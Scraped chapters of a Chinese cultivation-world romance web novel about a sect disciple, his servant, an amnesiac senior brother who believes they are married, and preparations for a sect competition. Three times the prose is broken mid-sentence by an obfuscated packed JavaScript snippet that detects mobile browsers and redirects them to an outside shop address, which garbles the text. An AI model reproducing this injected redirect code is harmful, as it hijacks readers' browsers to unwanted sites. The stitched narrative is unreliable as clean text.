“我们家少爷九岁那年,得了一场奇怪的大病,来势汹汹高烧不退,药石罔效,昏迷了整整七天七夜,把整个风府上下都吓得心惊胆战,夫人眼睛都哭肿了。” “然后呢?” 小师妹们追问。 “然后,就在第七天夜里,少爷忽然醒了,他说做了一个很长很真的梦,梦里有一位看不清面容,但仙气飘飘的仙人,携着一小仙童,在他面前翩然舞剑,那剑法精妙绝伦,仿佛蕴藏着天地至理,少爷说,他看着那剑,就觉得通体舒畅,病痛全消,醒来之后,他的病就真的好了。” “病好之后,少爷就变了个人,再也不肯安享府中的富贵悠闲,整天嚷嚷着要来太上宗,说这里才是他该来的地方,他要学剑,要修行。” 风辰摇摇头:“老爷夫人一开始坚决不同意,但少爷态度异常坚决,甚至以绝食相逼。最后,还是夫人心疼儿子,又想起少爷病中那个奇异的梦,觉得或许真是天意如此,是冥冥中的指引,再加上请来的几位高人也说少爷根骨清奇,是修行的好苗子,留在凡尘反而可能埋没了,夫人这才含着泪松了口。” 风亭瞳那一场突如其来的大病,确实吓坏了整个风府。 这位风家千娇万宠的小少爷,后来还是踏入了太上宗的山门。 而事实证明,风亭瞳确实是块修行的璞玉,一经雕琢,便迅速绽放出夺目的光华,年纪轻轻便成为了天枢峰首座弟子,年轻一辈中的翘楚。 后来,风夫人又生下了一个女儿。 这位小小姐便一直留在了风府,承欢于父母膝下,后来招了夫婿上门,成了风老爷和风夫人后半生最大的慰藉与寄托。 风家的重心,也因此一分为二,一半在太上宗苦修的长子身上,一半在府中娇养的小女儿身上。 前两年小小姐就成婚,诞下了一子。 风辰说起这段往事时,语气唏嘘。 他年纪其实比风亭瞳还要大上几岁,是风夫人当年精心挑选,放在儿子身边照顾陪伴,他对少爷幼时那场大病以及之后执意入宗的经过,记忆犹新,每每提起仍觉得惊心动魄。 《天枢峰秘史》背后的真正作者,风辰查了这些日子,依旧毫无头绪。 那本书就像是从石头缝里蹦出来的一样,源头隐秘,流传却广。 风辰一边与璇玑峰的师妹们周旋打听,一边也暗暗担心,万一哪天自家少爷心血来潮,或者又从哪个犄角旮旯翻出这本书来,岂不是又要气得火冒三丈,甚至可能迁怒于他办事不力。 焦虑之下,风辰脑子忽然灵光一闪,冒出一个大胆堪称釜底抽薪的主意。 ——既然查不到源头,堵不住流传,那不如自己也写一本。 写一本更好看,更能代表少爷光辉形象的书,把原来那本污秽不堪的《天枢峰秘史》给替代掉。 让师妹们只讨论他写的这本,自然就没人去惦记原来那本了。 说干就干,雷厉风行,是他们风家一贯的行事风格。 风辰从小跟在风亭瞳身边,陪读伴学,风亭瞳学什么,他也跟着沾光学些皮毛。诗书典籍,修行常识,他都略懂,肚子里确确实实是装着几斤墨水的。 于是乎,挑灯夜战,搜肠刮肚,几日之后,一本名为《渊瞳照影书》的手抄本,悄悄在璇玑峰部分师妹的小圈子里横空出世了。 风辰满怀期待地将自己的大作呈给几位相熟的师妹拜读。 然而,师妹们翻阅之后,面面相觑,最终还是那位圆脸杏眼的师妹,委婉地给出了反馈:“风师兄,你写的这个心意是好的,故事也算情真意切。但是吧……” 她斟酌着用词:“还是不如那本《天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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风亭瞳看着他确实憔悴不堪的模样,叹了口气,拍了拍他的肩膀:“哎,你辛苦了,查不出就暂时算了吧,别把自己熬坏了,反正那破书眼不见为净。” “对了,一个月后天罡问道会,你准备一下,到时候随我一同前去。” 风辰精神一振,立刻应道:“是,少爷。” 能跟着少爷出去见世面,他当然乐意。 风亭瞳看了看四周,确认无人,又压低声音,用一种我们是自己人,我才告诉你的郑重语气,对风辰说道:“还有一件事得跟你说,事关重大,你心里有数就行,别往外传。” 风辰立刻挺直腰板,神色肃穆:“少爷您说,风辰明白。” 风亭瞳凑近了些:“我把闻敬渊给打傻了。” 风辰:“!!!” 风亭瞳看着他这副见了鬼的表情,心里那点心虚交织,但他面上维持着镇定,继续解释道:“他现在脑子有问题,记忆混乱,整天胡言乱语,说些不着边际的话。” “我很讨厌他,所以我现在的策略是利用他,先把他稳住,然后慢慢观察,找到他修炼上的弱点或者破绽。等到时机成熟,再一举将他彻底击败!我才好做天枢峰大师兄,所以我最近在他面前的所有行为都是演戏,是为了迷惑他,懂吗?” 风辰呆呆地听着,看着自家少爷那张写满一切尽在掌握的脸,喃喃道:“……少爷,你好坏啊。” 风亭瞳眉头一挑,眼神危险地扫过来:“嗯?” 风辰鼓掌:“不,是足智多谋,高,实在是高,少爷英明。” 果然,现实就是最好的素材了。 8. 少爷这是把人当老黄牛使唤了 即使风亭瞳一脸笃定声称一切尽在掌握,风辰那颗悬着的心,还是七上八下地落不了地。 他跟在少爷身后,忍不住又确认了好几遍:“少爷……您确定这样做真的没问题吗?万一,万一哪天东窗事发,或者大师兄恢复记忆了,我们以后有没有可能被我们夫人……或者被大师兄本人给打死啊?” 被夫人打死,可能是因为他们少爷真的和大师兄搅在了一起。 被大师兄打死,那就是少爷把大师兄戏耍太过。 风亭瞳正琢磨着天罡问道会的种种安排,被风辰这嗡嗡嗡,翻来覆去的担忧吵得心烦。 他瞪了风辰一眼:“如此千载难逢的良机摆在眼前,我不趁机让他为以前那样对我付出代价,难道还要等他清醒了继续骑在我头上不成?” “快去把院子给我打扫干净,别在这儿杞人忧天。” 凌虚剑尊那边,得知了闻敬渊决定下山参加天罡问道会的消息后,捋着花白的胡须,脸上露出了些许欣慰之色,点了点头:“也好,他一个人在悬雪崖清修,虽能磨砺心性,却也缺乏与外界交流,切磋印证的机会。长久以往,未必是好事,此番他能想通,愿意下山走走,是再好不过了。” 早些年,玄苍长老时常云游在外,行踪不定,对闻敬渊这个亲传弟子,虽有师徒名分,实际的教导却未必周全。 凌虚剑尊看在眼里,也曾动过心思,想着若玄苍长老实在无暇顾及,不如让闻敬渊索性正式归入天枢峰门下,至少峰内有师长同门照应,不至于让他那般孤绝。 当时玄苍长老并未明确反对,只是态度有些模糊,而闻敬渊本人对此似乎也兴趣不大,依旧我行我素地守在悬雪崖。 凌虚剑尊倒没有抢夺别人弟子的意思,只是出于长辈的怜惜和不忍,觉得那样一个天赋异禀的少年,不该在无人问津的冰雪孤崖上,寂寂地耗尽年华。 因此,凌虚曾不止一次地叮嘱过当时还是少年的风亭瞳,让他作为师弟,多关心照拂一下那位深居简出,性格孤僻的大师兄。 只是后来,随着一次次宗门大比,风亭瞳屡次败于闻敬渊剑下,心中那份不甘与怨气日益累积。他对这位大师兄的态度,也从最初的奉命关照,渐渐转为疏远,乃至不喜,再也不愿,也懒得去管闻敬渊的任何闲事。 天罡问道会,五年一届,乃是修仙界年轻一辈最为瞩目的盛会,其重要性不言而喻。 届时,五大宗门,太上宗,混元宫,天衍阁,玄阴谷,碧落山庄,皆会派遣精锐弟子前往。 五大宗门之下,又有四门八派等诸多分支,以及无数零零碎碎,或大或小的修真门派和世家,都会云集于举办地。 这堪称一场汇聚了天下英才,各展所长的修仙盛世。 出发在即,风辰在栖竹院里,手脚麻利地替风亭瞳收拾行李。 丹药,符箓,换洗衣物,备用剑器,以及各类可能用到的零碎物品,都被他分门别类,妥帖地放入储物袋和箱笼中。 正忙活着,一团金色的影子扑棱棱地飞了过来,落在了风辰刚整理好的一只小箱笼上是纤纤。 胖鸟察觉到主人要出远门,不安分地在箱笼上跳来跳去,小眼睛滴溜溜地看着风辰,又看看不远处正在打坐调息的风亭瞳。 风辰看着它那圆滚滚的身子,没好气地说:“你也要去?那可是天罡问道会,高手如云,妖魔鬼怪说不定都有,万一哪个不长眼的,把你当成肥鸡给炖了加餐,我们少爷可救不了你!” “啾啾啾!啾啾啾啾!” 纤纤顿时炸了毛,小翅膀扑棱扑棱地奋力拍打着,带起一阵风,下一刻她竟拖着那过于丰腴的身子,飞了起来,气势汹汹地朝着风辰的脸就啄了过去。 别看它胖,动作还挺快,小喙瞄准了风辰的鼻子和脸颊。 风辰“哎哟”一声,连忙抬手去挡,嘴里嚷嚷:“反了你了!还敢啄我!” 一人一鸟在院子里闹得鸡飞狗跳。 风亭瞳被这动静惊扰,睁开眼,看到风辰正狼狈地躲闪着纤纤的攻击,而纤纤则是不依不饶,开口道:“好了,别闹了。” 纤纤闻声,立刻放弃了追击风辰,转而扑棱着翅膀,有些歪歪斜斜地飞到了风亭瞳的肩头,亲昵地蹭了蹭他的脸颊,嘴里发出委屈的“啾啾”声,像是在告状。 风亭瞳抬手,轻轻抚了抚它蓬松柔软的羽毛,将它抱在怀里,掂了掂分量,眉头微蹙:“带你去,不过……纤纤,你真得减肥了,再这么胖下去,我怕你以后连院子都飞不出去了。” 纤纤受不了别人说它胖。 这是它身为一只优雅高贵金翎雀的底线和尊严问题。哪怕是它最亲近,最依赖,平日里要星星不给月亮的主人风亭瞳也不行。 于是,在听到风亭瞳那句话后,纤纤的豆豆眼里,立刻迸发出委屈和抗议的光芒。 它“啾”地发出一声短促而尖锐的鸣叫,紧接着,它猛地从风亭瞳怀里挣脱出来,小翅膀奋力一振。 肥嘟嘟的身子腾空而起,然后两只纤细却有力的爪子,不偏不倚,正好踩在了风亭瞳梳得一丝不苟的发髻上。 借着这一蹬之力,纤纤像一颗金色圆润的球,“嗖”地一下蹿上了旁边屋檐的飞檐,然后迅速转过身,只留给下方的主人和风辰一个因为过于肥硕而显得格外有存在感又圆润厚实的背影。 那背影一动不动,微微耷拉着翅膀,透着一股“我很生气,后果很严重,需要很多灵果才能哄好”的黯然神伤。 风亭瞳猝不及防被踩了脑袋,束发的玉冠都歪了一下,几缕碎发垂落下来。他愣了一瞬,抬手摸了摸被踩的地方,又看了看屋檐上那个气鼓鼓的肥厚背影:“胆子真是越来越大了。” 语气里带着点无可奈何的纵容,倒没什么真正的怒意。 屋檐上的金色毛球依旧纹丝不动,仿佛化作了屋顶瓦片上的一尊胖鸟雕塑,无声地抗议着。 风辰感叹:“果然啊这胖了就是不行,连生气都感觉像是在跟老天爷讨食似的。” 他话里全是刺激鸟的词。 风亭瞳让他先别说了。 另一边,悬雪崖上。 自从风亭瞳恩准他参加天罡问道会,并且打着临阵磨枪,切磋备战的旗号,天天往悬雪崖跑,非要逼着闻敬渊打架之后。 闻敬渊就陷入了一种甜蜜又苦恼的困境。 可闻敬渊能打吗?敢打吗? 风亭瞳是他的道侣,是给他生了孩子的人,是需要他疼惜,保护,迁就的。 他要是真的动手,哪怕只是切磋,万一一个没控制好力道,把风亭瞳打出个好歹,伤着了,碰着了,疼着了,那他还是人吗? 他简直禽兽不如。 可是风亭瞳非要。 不仅非要,还攻势凌厉,招招指向要害,摆明了是来真的,逼得他不得不出手挡了回去。 好几次,闻敬渊都被逼得险象环生,全靠本能和超对方的修为硬生生化解或避开。 这让闻敬渊心里忍不住犯嘀咕:他这位夫人就这么喜欢这种危险的互动吗?不然怎么解释他明明柔弱,相对他而言,却总喜欢往自己剑锋上撞? 风亭瞳对闻敬渊的想法一无所知,他只是觉得闻敬渊这家伙打起架来束手束脚,瞻前顾后,完全没了往日大比时的凌厉锋芒,让他既觉得胜之不武,又更加火大。 他时不时还要警告闻敬渊,让他管好自己的嘴,别在外面胡言乱语,泄露了他们特殊关系。 闻敬渊每每心里就涌起一阵疑惑。他们不是道侣吗?有了孩子的关系,为什么不能让人知道?虽然的确是他先缠上风亭瞳,把他变成了自己人,但后来也是两情相悦的。 这种疑惑,在很多时候,疑惑着疑惑着,就会被另一种的情绪所取代。 比如现在,风亭瞳背对着他,正在好奇地研究寒鉴洞府的法阵。 太上宗的弟子服饰本就设计得出尘飘逸,常穿的这一套是雪白为底,配以天青色或淡蓝色的滚边和纹饰,衬得人身姿挺拔,气质清冷。 而风亭瞳作为天枢峰首座弟子,他的服饰又比寻常弟子更加精致讲究几分。 他不喜过于素净,常常自己画出些独特的花纹样式,让山下绣坊用同色系的丝线在衣领袖口,袍角等不易察觉处,绣上繁复而雅致的暗纹。或是风家独有的云雷纹,或是他自己喜欢的竹叶,兰草图案,走动间,光线流转,方能隐约窥见,平添一份独属于他的华美。 此刻,风亭瞳微微弯腰看着阵法纹路,那身特制的白蓝道袍妥帖地包裹着他清瘦却并不孱弱的身形。腰身处因为动作而微微收紧,勾勒出一道极其流畅漂亮的弧度,窄而有力,仿佛一手便能轻易环握。 再往下,是那道被衣料遮掩,却依旧能引人无限遐想饱满而挺翘的臀部曲线。 闻敬渊的目光,就那样不受控制地赤裸裸地粘在了那道弧线上,喉结几不可察地滚动了一下,舌尖无意识地舔了舔有些干燥的嘴唇,脑子里不受控制地翻腾起一些极其旖旎,甚至堪称下流的画面和想象。 那腰身被自己掐握住的触感,那衣料之下的肌肤温度。 可随即,另一个念头又冒了出来,带着点让闻敬渊自己都困惑的躁动:明明按照记忆,风亭瞳早就被他睡//熟了,连孩子都生了,怎么这人身上,还是透着一股子未经人事般清纯又勾人的味道。 尤其是当风亭瞳专注于某件事时,那种浑然忘我不设防备的姿态,简直像是在无声地邀请人去沾染,去破坏,去烙下属于自己的印记。 风亭瞳丝毫没察觉到身后那道要将他生吞活剥,滚烫而露骨的目光,他看完阵法,直起身,准备转过身来。 就在他回头的前一刹那。 闻敬渊脸上所有翻腾的欲念,如同被一只手瞬间抹去,那张没什么表情的俊脸上,只剩下属于听话道侣的乖巧,仿佛刚才那个用眼神将人里外扒光了一遍的人,根本不是他。 风亭瞳突然起了心思要查看寒鉴洞府的法阵,是因为他总觉得闻敬渊修为精进如此之快,除了天赋异禀和那股子不要命的苦修劲头之外,或许辅助法阵也起了关键作用。 寻常修士修炼,大多依靠自身功法,吸纳天地间游离的灵气,于丹田经脉中反复淬炼,化为己用。 但大宗门的弟子,尤其是核心真传,往往有机会学到更为精妙的聚灵,辅助修炼的法阵。将法阵刻于修炼之地,能更高效地汇聚,提纯天地灵气,事半功倍。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123121|195992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 风亭瞳自己栖竹院的静室和金镶玉竹林,也布置了聚灵阵,助益不小。 他怀疑闻敬渊这里,是不是藏着什么更高级,更霸道的阵法。 仔仔细细地将寒鉴洞府内外,尤其是闻敬渊常打坐的寒玉台附近,用神识里里外外探查了好几遍。 阵纹线条,灵力流转节点,每一处都仔细比对。 然而,并没有什么特别。 聚灵阵的纹路是最基础,最通用的那种,只是刻画得异常精准稳定,与悬雪崖本身的极寒环境结合得极好,能将此地原本过于凛冽霸道的冰寒灵气,转化为相对温和,适合吸收的状态。 也就是说,闻敬渊那身深不可测的修为,还真是一点一点磨出来的。 还真是有天赋啊。 风亭瞳心里不不爽,他甩开这念头,转过身,看着安静站在一旁的闻敬渊,想起即将到来的天罡问道会,觉得有必要再敲打敲打这个脑子不清醒的家伙。 他抬了抬下巴,语气带着点警告的意味:“喂,等到了小千幻境,人多眼杂,你知道自己该做什么,不该做什么吧?” 闻敬渊回答道:“知道,不能对外说我们是道侣。” “师弟若是想要那星髓兰,我可以帮你拿到。” 闻敬渊此人,皮囊生得确实无可挑剔。俊眉修长入鬓,眼眸深邃如寒潭,鼻梁高挺,唇形优美,组合在一起,是一张极具冲击力又不会过于张扬的俊美面容,身材挺拔颀长,即便是穿着最普通的素白衣袍,也自有一股清冷孤高的气度。 按常理来说,这样一个人,说出“我可以帮你拿到星髓兰”这种话,无论是出于实力还是心意,都足以让人怦然心动,心生暖意。 可风亭瞳听了,心中只是冷冷地“哼”了一声,不仅没有半分感动,反而觉得这家伙又在自作多情,自以为是,他撇了撇嘴:“我又不是那等心思恶毒,专会指使道侣去卖命夺宝的坏胚子,这话可是你自己说的,我可没逼你。” 闻敬渊:“我当然是自愿的。” 他看着风亭瞳那副我不占你便宜的别扭神情,心里忽然觉得他的夫人,好像还挺好哄的?只要顺着他话说,不拆穿他那点小小的傲娇,似乎就能让他心情好一些? 出发前往小千幻境那日,太上宗山门前广场上,各峰弟子齐聚,飞舟法器林立,旗帜招展,人声鼎沸,热闹非凡。 天枢峰的队伍中,凌虚剑尊为首,几位长老和亲传弟子依次排列。 而在一众熟悉的面孔里,一个许久未见的身影,赫然出现在了队伍靠前的位置,正是闻敬渊。 他一身天枢峰的衣袍,长发束起,身姿挺拔如松,他的出现,引起各方的侧目和窃窃私语。 不仅是天枢峰内部,连璇玑峰,玉衡峰,摇光峰等其他几峰的弟子,都不免投来好奇,探究,甚至带着几分敬畏的目光。 这位传说中的大师兄,竟然真的下山了,还要参加天罡问道会。 风辰作为随行仆从,也跟着天枢峰的队伍。他先前忙前忙后,最后一遍检查着自家少爷要带的东西,各类丹药分门别类装好,替换的衣物鞋袜,特制的干粮和灵泉水,疗伤的药膏,甚至还有少爷习惯用的安神香和几本打发时间的杂书,零零总总。 修士出门,自然不能像凡人那样大包小裹地扛着,通常都会使用储物法器,最常见的就是灵戒。灵戒内有须弥空间,可以将物品收纳其中,极为方便。 只是,灵戒虽然能收纳物品,减轻了携带的体积,但物品本身的重量,却并非完全消失,而是会以某种方式,部分转移到佩戴灵戒的修士身上。 收纳的东西越多,越重,修士自身需要承受的负荷也就越大,对灵力和神识也是一种持续的消耗。 所以,即便是拥有灵戒,修士们出行时也会尽量精简行李,只带必需品。 出发的号角即将吹响,风辰看着风亭瞳空空如也的手指,那里并没有佩戴任何灵戒,只有风亭瞳偶尔会戴的装饰性玉戒。 他不由有些着急,凑过去低声询问:“少爷,您这是把东西都落在栖竹院了?还是放在别处了?马上要登飞舟了!” 风亭瞳正漫不经心地抚摸着怀里那只因为要出远门而显得格外兴奋,不断扭动圆润身子的纤纤,闻言,头也没抬,只是用下巴朝着某个方向:“放心,没忘,在那里。” 风辰顺着他示意的方向望去,目光落在了几步之外,正与凌虚剑尊低声交谈的闻敬渊身上,视线定格在闻敬渊垂在身侧骨节分明的右手上,那修长的食指和中指上,赫然各戴着一枚样式古朴,隐隐有灵光流转的灵戒。 而且,看那灵戒表面微微氤氲着比寻常灵戒更浓郁的灵力波动,虽然闻敬渊依旧挺拔如松,仿佛毫无负担的姿态。 但风辰几乎可以断定,那两枚灵戒里装的东西,绝对不少。 恐怕比少爷以往任何一次出门带的行囊,都要多得多,也重得多。 风辰眨了眨眼,看看自家少爷悠闲摸鸟的样子,又看看闻敬渊手指上那两枚沉甸甸的灵戒,心里瞬间明镜似的。 得,少爷这是把人当老黄牛使唤了。 而且看闻敬渊那副理甘之如饴的样子,这苦力当得还挺心甘情愿。 9. 师弟,你的鸡养得真不错 他们去往小千幻境的路途,由两艘恢弘大气的灵船承载。 船身由千年灵木混合特殊金属锻造而成,刻满了繁复的防御与加速符文,在阳光下流溢着温润的灵光。 此次随行的弟子,加上几位领队的长老和必要的执事,拢共约五十号人。 太上宗的掌门天衍剑尊与几位核心长老,按照惯例,通常会在问道会正式开幕或者最关键的几场比试时,才会驾临现场。 此番先行出发的是由墨规长老带队的队伍。 墨规长老出身摇光峰,身形瘦削,面容严肃,灵船启动,缓缓升空,穿透云层,驶向茫茫天际时,他立于船头开始念宗门规诫。 太上宗的规矩,堪称修九州宗盟典范,细致严苛到了令人发指的地步。 分为总纲,戒律,赏罚,修行,杂务五大章,下面又细分出上百条细则,几乎涵盖了弟子从日常起居,言行举止,同门交往,修行禁忌到外出历练,对敌原则等方方面面。 条条框框,森然罗列,惩罚机制更是明确,轻则面壁思过,罚没资源,重则废去修为,逐出山门。历代执法长老都以铁面无私著称,从未有过徇私枉法的先例。 正因为如此,风亭瞳才对自己失手把闻敬渊打傻,感到如此忌惮,一旦事发,按照门规“不得同门内讧,私斗伤人”这一条,他就吃不了兜着走。 更别提对方还是玄苍长老亲传,地位特殊的大师兄。 对了,当务之急,还得想办法治一治闻敬渊这混乱的脑子。 风亭瞳靠心里盘算着。其实就让闻敬渊一直这么傻着,似乎也不错?看看现在,多听话,让往东不敢往西,让拿东西绝不空手,指哪打哪,简直比最驯服的灵宠还好用。 如果闻敬渊的记忆一直不恢复,就这么傻乎乎地被他使唤着,好像也挺解气的? 可这个念头刚冒出来,就被他自己否决了。 不行。 风险太大。 万一呢?万一哪天闻敬渊突然清醒过来,想起这段时间自己是怎么被他当傻子糊弄使唤,甚至占便宜,以那家伙的性子,虽然风亭瞳觉得他性子不怎么样,但怕不是要气得当场吐血三升,然后提剑追杀自己到天涯海角。 得想个一劳永逸的法子。 风亭瞳记得,似乎在某个古籍或者传闻里,提到过一个叫做万药宗的地方。 据说这个宗门以医道立世,尤其擅长治疗各种稀奇古怪,匪夷所思的疑难杂症,无论是走火入魔,神识损伤,还是记忆错乱,神魂离体,他们都有独到的法门。 或许可以找个机会,带闻敬渊去那里看看? 灵船上弟子不多,房间安排得颇为宽松。 风亭瞳作为天枢峰首座弟子,分到的房间位置不错,宽敞明亮,闻敬渊的房间则就在他的隔壁,相隔不远,只有一墙之遥。 抵达小千幻境,还有约莫两日的航程。 墨规长老宣读完门规,便让大家各自回房休息,养精蓄锐,以最佳状态应对即将到来的盛会。 风辰安顿好自己的小舱室,立刻就来敲风亭瞳的房门,想帮少爷布置一下房间。 风亭瞳开了门,见他过来,却摆了摆手:“行了,这里我自己来,你先回去休息吧,这灵船行驶起来灵力波动不稳,多少有些颠簸,你修为不高,别到处乱跑,免得晕船不适。” 风辰有些不放心,说少爷我帮你收拾收拾,风亭瞳就老神在在地说:“放心有人干。” 随即风亭瞳走到与隔壁相连的那面墙边,抬手,不轻不重地叩击了三下。 “笃,笃,笃。” 没过多久,风亭瞳房间的门,便被从外面轻轻推开了。 一个高大挺拔的身影出现。 风亭瞳指了指放在房间中央:“你帮我把里面的被子拿出来铺好吧,还有把我常用的那个紫砂茶壶和杯子找出来,放在那边的案几上。” 闻敬渊依言走到箱笼边,动作熟练地打开其中一只。 风辰收拾行李时极为用心,不仅东西分门别类放好,还在箱笼内壁贴了小小的标签字样,写着寝具,茶具,丹药,衣物等等,一目了然,能让人很快找到所需之物。 闻敬渊很快找到了放着被褥枕头的那一层,将那套触感柔软带着淡雅熏香的被褥抱了出来,然后走到床边,一丝不苟地开始铺床。 他的动作算不上特别娴熟,但极其认真,每一个被角都抻得平平整整,枕头也摆放得端端正正。 风辰看到这一幕,心情顿时变得极其复杂。他看着闻敬渊在自家少爷的房间里,无比自然地做着铺床叠被,端茶递水的活计。 而且看那熟练程度,显然不是第一次干了! 风辰觉得自己地位受到严重威胁。 他可是少爷身边最得力,最贴心的第一仆从,这些活以前可都是他的专属,现在现在居然被大师兄给抢了? 虽然少爷说了是利用,可看大师兄那副心甘情愿,甚至有点乐在其中的样子,他的位置危矣。 风辰看着闻敬渊熟练地铺好床,又从另一只箱笼里拿出了风亭瞳惯用的那套紫砂茶具,甚至连茶叶罐子都一并找了出来,摆放在案几上最顺手的位置。 他危机感愈发强烈,终于按捺不住,往前一步,试图捍卫自己第一贴身仆从的崇高地位。 “大师兄,这些琐事还是我来吧,怎能劳烦您动手?” 风辰语气怪异,“再说了,大师兄您肯定不知道少爷平日里习惯点什么香吧?这安神香的调配和点燃,可是有讲究的,火候不对香气就差了,还是我来吧。” 然而闻敬渊闻言,下一刻便开口道:“师弟平日里惯用东海玉檀木研磨成的玉檀香,香气清冽宁神,有助于入定。调制时需取崖顶晨露,以文火慢煨,待香气将发未发时点燃,方为上佳。” 他目光若有似无地扫过风亭瞳微微敞开的领口,继续道:“师弟喜欢穿的内衬,是采自南疆云蚕丝所制,轻薄透气,左襟内侧习惯绣上三瓣玉兰,右襟则是风家云纹。晨起后,需先饮一杯灵泉水,润泽肺腑,方能进食,每日无论是否外出,里外衣物鞋袜皆需更换,不喜沾染隔夜尘气,至于茶点……” “师弟素来不喜甜腻,寻常茶点几乎不碰,若要用些点心,也只取清淡的茯苓糕或山楂丸,且只在午后小憩前用。” 风辰:“!!!” 他张大了嘴巴,眼睛瞪得溜圆,满脸的难以置信。 闻敬渊怎么会知道得这么清楚?连内衬上绣的花样晨起喝水的习惯,甚至对茶点的偏好这种极其私密,只有他这个贴身伺候多年的人才知晓的细节,闻敬渊都如数家珍? 这,这简直比他自己还了解少爷! 风亭瞳也是一脸诧异,甚至有些不自然地抬手,下意识地扯了扯自己的领口。衣襟里面果然露出了一角雪白的内衬,上面用同色丝线,精巧地绣着几瓣清雅的玉兰花。 正是闻敬渊所说的样式。 他脸上迅速漫开一层薄红,眼神复杂地看向闻敬渊,脸上有被窥破私密习惯的窘迫。 风辰看看自家少爷那微红的耳根和讶异的表情,像是斗败了的公鸡,脸上写满了既生闻敬渊何生风辰的忧郁和挫败,垂头丧气地退出了房间,还顺手还带上了门。 房间里重新安静下来,只剩下风亭瞳和闻敬渊两个人。 闻敬渊看着风辰离开,走到小案几旁,动作娴熟地取出玉檀香粉,又从一个玉瓶中倒出些许晶莹的液体,开始有条不紊地调制。做完这些,他才转过身,看向表情还有些微妙的风亭瞳。 闻敬渊:“师弟,今夜我可以跟你一起睡吗?” 风亭瞳正因着他刚才闻敬渊的话而心神不宁,听到这话,想也没想,立刻拒绝:“不行!” 想都别想。 闻敬渊眼中的那点期待瞬间黯淡下去,失望道:“其实我是找到了一些关于小千幻境的古籍残卷和前辈手札,上面记载了些不太为人所知的东西,想着或许对师弟此次问道会有帮助,想与师弟讨论讨论。既然不行那就算了。” 他说着,似乎就要转身离开。 风亭瞳一听小千幻境,古籍残卷,倒真的来了兴趣。 他立刻叫住闻敬渊:“等等!” 闻敬渊停下脚步,回过头看他。 风亭瞳语气勉强:“……你留下吧,不过,你打地铺。” 闻敬渊果然从自己带来的简单行李里,拿出一张薄毯和一块垫子,在风亭瞳指定的角落里,利落地铺好了一个地铺。 他自己在地铺上盘膝坐下,说起在卷轴上看过的内容。 一开始,都是一些关于小千幻境的基础信息,比如其位于何处,如何形成的传说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17123122|195992||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,内部大致的环境特征,这些信息,风亭瞳大多从宗门提供的资料里已经了解过,算不上新奇。 小千幻境这个名字由来,传说那里当真蕴藏着传说中上千个彼此勾连,又各自独立的虚幻小世界,层层叠叠,虚实相生。 倘若道心稍有摇曳不稳之人误入其中,极易被某个幻境捕捉,吞没,心神迷失,便再难寻回归路,就此困死其中,成了滋养这片幻域的养分。 宗门典籍里还夹杂着些更久远,也更模糊的传闻。说这幻境深处,或许曾真正陨落过一只上古大妖。那大妖天生擅幻,妖力通天,其身死道消之时,残存的本源逸散开来,才滋生出这后世光怪陆离,难以尽数的万千小世界。 不过这些终究是飘渺传言,无凭无据,早已不可考证。 但混元宫将问道会选在此地设立,想必是早已派了门中精锐深入探查过,至少划定了相对安全的区域,否则也不敢让各派年轻一辈的佼佼者轻易涉险。 闻敬渊的:“师弟可知,这小千幻境,万千变化,其核心要害究竟是什么?” 风亭瞳说:“是什么?” “恐惧,每个人的恐惧,幻境不造无根之木,它映照的往往是心底最深处,最不欲人知,甚至自己都未必全然察见的惧怖之形。” 风亭瞳嗤了一声:“切,说穿了,不过是些惑人心神的障眼法罢了,剑心通明,自可一剑破之。” “障眼法若直指本心,便不再是虚妄。”闻敬渊并不反驳,“不过,我通过钻研倒有个取巧的法子。” 风亭瞳:“什么?” 他想闻敬渊还真有几分本事,连小千幻境都有把握破除。 只见闻敬渊不紧不慢地取出一物,并非什么法宝灵器,而是一根约两指宽的素色绸带,料子看起来不太柔软,质地看上去极为遮光。 “若遇幻境,最简单直接之法,只需将眼睛遮住即可,不见,则不惑。” 风亭瞳盯着那根平平无奇的绸带,沉默了两息。 闻敬渊仿佛没看见他脸上那瞬间复杂难言的表情,又从容地取出另一根一模一样的绸带,递过去:“师弟,给你也备了一根。” 风亭瞳:“我才不要戴……丑死了。” 他还以为闻敬渊真有什么正经钻研。 两人说话间,一个毛茸茸,圆滚滚的身影突然从角落里踱了出来。 纤纤步伐不急不缓,带着点养尊处优的矜持,通体羽毛是蓬松柔软的淡金色,在室内光线下流转着细碎蜂蜜般的光泽,尾羽略长,姿态优雅。 它歪了歪脑袋,黑豆似的圆眼睛先看了看风亭瞳,又转向闻敬渊。 纤纤想,主人什么时候又收了个仆人?这个仆人还比较顺眼一些。 闻敬渊:“哪来的肥鸡?” 纤纤听到了,瞬间炸开了全身的绒毛,体型仿佛膨胀了一圈,黑豆眼瞪得溜圆,发出一声短促又气愤的“啾”,张开还不够锋利的小喙,扑扇着翅膀就要朝闻敬渊的手啄去。 